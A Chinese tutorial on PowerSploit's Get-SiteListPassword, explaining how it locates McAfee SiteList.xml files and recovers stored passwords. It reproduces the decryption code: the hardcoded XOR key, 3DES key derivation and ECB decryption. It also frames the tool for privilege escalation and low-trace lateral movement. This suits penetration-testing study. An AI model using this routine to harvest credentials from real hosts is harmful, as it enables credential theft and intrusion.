- 渗透测试
- 网络安全
【免费下载链接】PowerSploit
PowerSploit - A PowerShell Post-Exploitation Framework
导读
Get-SiteListPassword是 PowerSploit 提权模块(Privesc/PowerUp)中的一项凭据挖掘功能,它能够在 Windows 主机上自动搜索 McAfee 杀毒软件遗留下的SiteList.xml配置文件,并利用 McAfee 固化的静态加密密钥还原其中保存的明文密码。本文以 docs/Privesc/Get-SiteListPassword.md 为骨架,结合 Privesc/PowerUp.ps1 的源码实现与 Tests/Privesc.tests.ps1 的测试用例,完整讲解该命令的用法、输出字段、解密原理与实战边界,帮助你掌握这一基于“杀毒软件自身配置弱加密”的 Windows 本地提权与横向移动凭据采集技巧。
功能概述:从 SiteList.xml 中恢复明文密码
McAfee 企业版(ePO/杀毒客户端)会把更新源、仓库(Repository)、HTTP 更新站点等连接配置写入SiteList.xml文件,其中往往包含连接远程仓库所需的用户名与密码。这些密码在 XML 中可能以明文保存,也可能以 Base64 编码并使用 McAfee 静态密钥加密。
Get-SiteListPassword的作用正是:在目标主机上定位所有SiteList.xml,提取其中的凭据字段,并对加密字段执行解密,最后以结构化对象输出明文密码。该功能源自 Jerome Nokin(@funoverip)的 Python 解密方案,由 @harmj0y 移植为 PowerShell 版本,随 PowerSploit 的 Privesc 模块一同发布,无任何外部依赖(Required Dependencies: None)。
语法与参数
官方文档给出的命令语法非常简单:
Get-SiteListPassword [[-Path] <String[]>]参数说明
| 参数 | 类型 | 位置 | 是否必填 | 说明 |
|---|---|---|---|---|
-Path | String[] | 1 | 否 | 可选,指定SiteList.xml文件路径或包含该文件的文件夹路径;支持管道输入(ByValue) |
源码中的参数定义如下(Privesc/PowerUp.ps1):
[Parameter(Position = 0, ValueFromPipeline = $True)] [ValidateScript({Test-Path -Path $_ })] [String[]] $Path- 参数带有
ValidateScript校验,传入的路径必须真实存在(Test-Path),否则会直接报错; - 支持管道按值(ByValue)传入路径,可以配合
Get-ChildItem等命令批量指定多个 XML 文件。
默认搜索路径
当不指定-Path参数时,函数会依次扫描以下四个目录(源码见 Privesc/PowerUp.ps1),递归查找其中所有名为SiteList.xml的文件:
C:\Program Files\C:\Program Files (x86)\C:\Documents and Settings\C:\Users\
对应源码:
$XmlFilePaths = @('C:\Program Files\','C:\Program Files (x86)\','C:\Documents and Settings\','C:\Users\')随后对每个目录执行Get-ChildItem -Recurse -Include 'SiteList.xml',并对命中的文件逐个调用内部解析函数。查找过程中出现的访问错误会被-ErrorAction SilentlyContinue静默吞掉,因此即使部分目录无权限也不会中断整个扫描。
使用方法与输出示例
方式一:全盘默认搜索(最简单)
不传任何参数,直接扫描上述四个默认目录:
Get-SiteListPassword官方文档给出的典型输出如下:
EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q== UserName : Path : Products/CommonUpdater Name : McAfeeHttp DecPassword : MyStrongPassword! Enabled : 1 DomainName : Server : update.nai.com:80 EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q== UserName : McAfeeService Path : Repository$ Name : Paris DecPassword : MyStrongPassword! Enabled : 1 DomainName : companydomain Server : paris001 EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q== UserName : McAfeeService Path : Repository$ Name : Tokyo DecPassword : MyStrongPassword! Enabled : 1 DomainName : companydomain Server : tokyo000可以看到,同一台机器上可能存在多个站点条目(HTTP 更新站点McAfeeHttp、UNC 仓库Paris、Tokyo等),它们共享同一把加密密钥,因此加密密文相同、解密结果也相同。
方式二:指定文件或目录
当已知SiteList.xml的具体位置(或想扫描某个特定目录)时,使用-Path:
# 指定单个文件 Get-SiteListPassword -Path "C:\Program Files (x86)\McAfee\SiteList.xml" # 指定一个文件夹,函数会递归查找其中的 SiteList.xml Get-SiteListPassword -Path "C:\Users\Public\Documents" # 通过管道传入多个文件 Get-ChildItem -Path C:\ -Filter SiteList.xml -Recurse -ErrorAction SilentlyContinue | Get-SiteListPassword指定-Path后,函数会跳过默认目录扫描,直接把传入的路径交给内部解析逻辑处理(源码 Privesc/PowerUp.ps1)。
输出对象详解
函数声明了[OutputType('PowerUp.SiteListPassword')](Privesc/PowerUp.ps1),每条站点凭据都会以自定义 PSObject 输出,其类型名被显式标记为PowerUp.SiteListPassword(Privesc/PowerUp.ps1),便于下游脚本按类型过滤或格式化。
每个对象的字段及含义如下:
| 字段 | 含义 | 来源 |
|---|---|---|
Name | 站点名称(如McAfeeHttp、Paris) | XML 中站点节点的Name属性 |
Enabled | 站点是否启用(1/0) | XML 中站点节点的Enabled属性 |
Server | 服务器地址,优先取ServerIP,否则取Server | XML 节点字段 |
Path | 路径,优先取ShareName,否则取RelativePath | XML 节点字段 |
DomainName | 登录使用的域名 | XML 节点字段 |
UserName | 登录用户名 | XML 节点字段 |
EncPassword | 原始密文/原文(Base64 或明文) | XML 节点字段 |
DecPassword | 解密后的明文密码 | 由Get-DecryptedSitelistPassword计算 |
Server与Path的“优先取”逻辑见源码 Privesc/PowerUp.ps1:
$Server = if ($_.ServerIP) { $_.ServerIP } else { $_.Server } $Path = if ($_.ShareName) { $_.ShareName } else { $_.RelativePath }解密原理:McAfee 静态密钥的弱点
这是本功能最核心的技术点。McAfee 的SiteList.xml密码加密看似使用了标准密码学原语,但其密钥与密钥派生方式是硬编码、可公开获取的,因此任何拿到密文的人都能离线还原明文。解密流程实现在内部函数Get-DecryptedSitelistPassword中(Privesc/PowerUp.ps1),整体分为三步:
第一步:Base64 解码 + 固定 XOR 还原
密文先做 Base64 解码,再与一个 16 字节的静态 XOR 密钥逐字节异或:
# static McAfee key XOR key LOL $XORKey = 0x12,0x15,0x0F,0x10,0x11,0x1C,0x1A,0x06,0x0A,0x1F,0x1B,0x18,0x17,0x16,0x05,0x19 $I = 0; $UnXored = [System.Convert]::FromBase64String($B64Pass) | Foreach-Object { $_ -BXor $XORKey[$I++ % $XORKey.Length] }第二步:派生 3DES 密钥
3DES 密钥由字符串<!@#$%^>的 SHA1 哈希值加上 4 个0x00字节组成(共 24 字节,恰好构成 3DES 的三段密钥):
$3DESKey = $SHA1.ComputeHash($Encoding.GetBytes('<!@#$%^>')) + ,0x00*4第三步:ECB 模式 3DES 解密并去除填充
$3DES.Mode = 'ECB' $3DES.Padding = 'None' $3DES.Key = $3DESKey $Decrypted = $3DES.CreateDecryptor().TransformFinalBlock($UnXored, 0, $UnXored.Length) # 以第一个 0x00 字节为界截断填充 $Index = [Array]::IndexOf($Decrypted, [Byte]0) if ($Index -ne -1) { $DecryptedPass = $Encoding.GetString($Decrypted[0..($Index-1)]) } else { $DecryptedPass = $Encoding.GetString($Decrypted) }解密采用ECB 模式、无填充(None),输出结果后以第一个0x00字节作为明文终止位置截掉尾部填充。源码注释中LOL、TROLOL等字样也暗示了这套方案在安全设计上的随意性。
需要强调的是:并非所有 SiteList.xml 中的密码都是加密的。内部解析函数Get-SitelistField(Privesc/PowerUp.ps1)会检查密码节点的Encrypted属性:
if ($_.Password.Encrypted -eq 1) { # decrypt the base64 password if it's marked as encrypted $DecPassword = if ($PasswordRaw) { (Get-DecryptedSitelistPassword -B64Pass $PasswordRaw).Decrypted } else {''} } else { $DecPassword = $PasswordRaw }Encrypted="1":视为加密密文,走上述解密流程;- 其他情况(如
Encrypted="0"):DecPassword直接等于 XML 中的原始值。
源码级调用链与解析流程
从 Privesc/PowerUp.ps1 开始,整个功能的调用链如下:
Get-SiteListPassword ├── 确定目标文件集合 │ ├── 有 -Path:直接使用传入路径 │ └── 无 -Path:扫描 C:\Program Files\、C:\Program Files (x86)\、C:\Documents and Settings\、C:\Users\ │ └── Get-ChildItem -Recurse -Include 'SiteList.xml' ├── Get-SitelistField(解析单个 XML) │ ├── [Xml]$SiteListXml = Get-Content -Path $Path │ ├── 校验 InnerXml 是否包含 "password" 字样(快速筛选) │ ├── 遍历 SiteLists.SiteList 的所有子节点 │ └── 依据 Encrypted 属性决定是否解密 │ └── Get-DecryptedSitelistPassword(执行 XOR + 3DES 解密) └── 输出 PowerUp.SiteListPassword 对象几个值得注意的实现细节:
- 快速筛选:解析前先用
$SiteListXml.InnerXml -Like "*password*"判断文件里是否含password关键字,不含则跳过,避免无谓的解密尝试(Privesc/PowerUp.ps1); - 逐节点容错:遍历站点节点时,单个节点解析失败只会输出 Verbose 信息并继续处理下一个节点(Privesc/PowerUp.ps1);
- 错误静默:函数开头恢复并保存了
$ErrorActionPreference,扫描目录时的错误被SilentlyContinue抑制,保证在无权限目录下也能完成扫描; - 必要程序集:解密前加载
System.Security与System.Core程序集(Add-Type -Assembly),以使用SHA1CryptoServiceProvider与TripleDESCryptoServiceProvider(Privesc/PowerUp.ps1)。
测试用例佐证
仓库的 Pester 测试 Tests/Privesc.tests.ps1 为该功能提供了两条用例,构造了一份包含三种站点类型的 XML 进行验证:
- HTTP 站点(McAfeeHttp):
Encrypted="1"的加密密码jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==,断言解密结果为MyStrongPassword!,且UserName、DomainName为空; - UNC 仓库(Paris):
Encrypted="0"的明文密码Password123!,断言DecPassword与EncPassword相同; - UNC 仓库(Tokyo):加密密码同上,断言解密结果同样为
MyStrongPassword!,并校验Server(tokyo000)、Path(Repository$)、UserName(McAfeeService)、DomainName(companydomain)等字段。
两条用例分别覆盖默认目录扫描(不传-Path)与指定路径解析(Get-SiteListPassword -Path "${Home}\SiteList.xml")两种调用方式,测试前后通过Out-File写入、Remove-Item清理临时 XML,确保隔离。
模块加载方式
Get-SiteListPassword已随 Privesc 模块发布(导出声明见 Privesc/Privesc.psd1)。按 Privesc/README.md 的说明,将整个 Privesc 文件夹放入 PowerShell 模块目录后即可使用:
# 导入模块 Import-Module Privesc # 查看模块内所有命令 Get-Command -Module Privesc # 查看本命令帮助 Get-Help Get-SiteListPassword默认模块路径:
- 用户级:
$Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules - 计算机级:
$Env:windir\System32\WindowsPowerShell\v1.0\Modules
该模块要求 Windows PowerShell 2.0 及以上(见 Privesc/Privesc.psd1),且属于 Windows 平台功能,需在 Windows 主机上运行。
实战定位与使用边界
Get-SiteListPassword在 PowerUp 的职责划分中属于“Miscellaneous Checks”类(见 Privesc/README.md 与 docs/Privesc/index.md)。从攻防视角看,它的价值体现在:
- 本地提权辅助:McAfee 相关服务常以高权限运行,若能拿到
SiteList.xml中保存的本地/域账户密码,可能直接复用为提权凭据;同一密码常被重复使用; - 横向移动凭据:输出中的
DomainName、UserName、Server(仓库服务器)字段可进一步指向内网中的高价值目标; - 无依赖、低痕迹:函数完全基于 .NET 加密库实现,不落地额外文件、不依赖外部工具,适合在受限环境中使用。
需要注意的使用边界:
- 该功能只能在 Windows 上运行,且依赖 McAfee 产品在主机上留下过
SiteList.xml(若从未安装过 McAfee 则无结果); - 解密依赖 McAfee 静态密钥这一公开弱点,对已加固/更新密钥机制的新版本可能不适用,使用前应先确认目标文件的密码确实以
Encrypted="1"标记并采用旧式加密; - 未加密(
Encrypted="0")的密码字段直接以明文返回,无需解密即可读取。
作为同类凭据挖掘功能的延伸,Privesc 模块中还提供了Get-CachedGPPPassword(组策略首选项缓存密码)、Get-ApplicationHost(IIS 应用池/虚拟目录密码)、Get-WebConfig(web.config 加密字符串)等命令,可在 Privesc/README.md 中查看完整清单,组合使用能覆盖更广的本地凭据面。
- 渗透测试
- 网络安全
【免费下载链接】PowerSploit
PowerSploit - A PowerShell Post-Exploitation Framework
相关推荐
PowerSploit Privesc 模块 Get-CachedGPPPassword 实战:从本地缓存中提取组策略首选项明文密码
PowerSploit Privesc 模块 Get CachedGPPPassword 实战:从本地缓存中提取组策略首选项明文密码 导读 本文围绕 Power
渗透测试网络安全PowerSploit 提权实战:使用 Get-ModifiableServiceFile 枚举可写服务二进制文件
PowerSploit 提权实战:使用 Get ModifiableServiceFile 枚举可写服务二进制文件 导读 Get ModifiableServi
渗透测试网络安全终极指南:如何利用PowerSploit的Get-GPPPassword工具提取组策略密码
终极指南:如何利用PowerSploit的Get GPPPassword工具提取组策略密码 PowerSploit是一套高级的PowerShell渗透测试框架,
渗透测试网络安全
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考